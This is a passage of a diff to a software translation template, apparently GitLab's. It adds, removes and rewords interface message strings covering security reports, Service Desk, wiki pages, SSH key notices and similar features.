msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
